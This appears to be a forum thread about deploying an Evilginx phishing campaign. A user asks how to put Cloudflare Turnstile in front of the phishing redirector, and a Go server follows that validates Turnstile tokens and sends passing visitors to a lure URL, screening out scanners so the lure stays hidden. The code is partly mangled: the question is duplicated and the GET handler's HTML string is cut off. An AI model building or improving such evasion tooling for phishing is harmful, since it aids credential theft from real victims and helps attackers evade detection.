Hi fluxxset, is it possible to add Cloudflare Turnstile to my redirector HTML for an Evilginx phishing campaign, and what additional steps would be needed? Here’s an example from your repo:
Turnstile Redirector DemoLoading…
Hi fluxxset, is it possible to add Cloudflare Turnstile to my redirector HTML for an Evilginx phishing campaign, and what additional steps would be needed? Here’s an example from your repo:
Turnstile Redirector DemoLoading…
see it wont work anymore u should have s-s conection with cloudflare frist so that no one can access directly from server and then after addijng turnstile make sence
Would this work much better as turnstile implementation for Evilginx redirector?
package main
import (
“bytes”
“encoding/json”
“fmt”
“io”
“log”
“net/http”
“strings”
“sync”
“time”
)
// === CONFIGURATION ===
const (
TurnstileSecret = “YOUR_TURNSTILE_SECRET”
SiteKey = “YOUR_SITE_KEY”
LureURL = “https://your.lure.url”
)
var (
usedTokens = make(map[string]time.Time)
tokenMutex = &sync.Mutex{}
)
// Struct for Cloudflare Turnstile validation response
type VerifyResponse struct {
Success bool json:"success"
ChallengeTs string json:"challenge_ts"
Hostname string json:"hostname"
ErrorCodes string json:"error-codes,omitempty"
}
// Cleanup goroutine for used token memory management
func cleanupUsedTokens() {
for {
time.Sleep(5 * time.Minute)
tokenMutex.Lock()
now := time.Now()
for token, t := range usedTokens {
if now.Sub(t) > 10*time.Minute {
delete(usedTokens, token)
}
}
tokenMutex.Unlock()
}
}
// Extract client IP respecting Cloudflare headers
func getClientIP(r *http.Request) string {
cfIP := r.Header.Get(“CF-Connecting-IP”)
if cfIP != “” {
return cfIP
}
fwd := r.Header.Get(“X-Forwarded-For”)
if fwd != “” {
parts := strings.Split(fwd, “,”)
return strings.TrimSpace(parts[0])
}
ip := r.RemoteAddr
if idx := strings.LastIndex(ip, “:”); idx != -1 {
ip = ip[:idx]
}
return ip
}
func serveRedirector(w http.ResponseWriter, r *http.Request) {
if r.Method == “GET” {
fmt.Fprintf(w, `
// POST handling
if err := r.ParseForm(); err != nil {
http.Error(w, "Form parsing error", http.StatusBadRequest)
return
}
token := r.FormValue("cf-turnstile-response")
if token == "" {
http.Error(w, "Missing Turnstile token", http.StatusBadRequest)
return
}
// Replay protection
tokenMutex.Lock()
if _, exists := usedTokens[token]; exists {
tokenMutex.Unlock()
http.Error(w, "Token already used", http.StatusForbidden)
return
}
usedTokens[token] = time.Now()
tokenMutex.Unlock()
// Prepare Turnstile validation request
verifyURL := "https://challenges.cloudflare.com/turnstile/v0/siteverify"
data := fmt.Sprintf("secret=%s&response=%s&remoteip=%s",
TurnstileSecret,
token,
getClientIP(r),
)
req, err := http.NewRequest("POST", verifyURL, bytes.NewBufferString(data))
if err != nil {
http.Error(w, "Request creation failed", http.StatusInternalServerError)
return
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Do(req)
if err != nil {
log.Printf("[Error] Turnstile API: %v", err)
http.Error(w, "Verification timeout", http.StatusServiceUnavailable)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
var verifyResp VerifyResponse
if err := json.Unmarshal(body, &verifyResp); err != nil {
http.Error(w, "Invalid verification response", http.StatusInternalServerError)
return
}
if verifyResp.Success {
http.Redirect(w, r, LureURL, http.StatusFound)
} else {
log.Printf("[Turnstile Fail] %v", verifyResp.ErrorCodes)
http.Error(w, "Verification failed", http.StatusForbidden)
}
}
func main() {
go cleanupUsedTokens() // Start cleanup routine for used tokens
http.HandleFunc("/", serveRedirector)
log.Println("Turnstile redirector listening on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}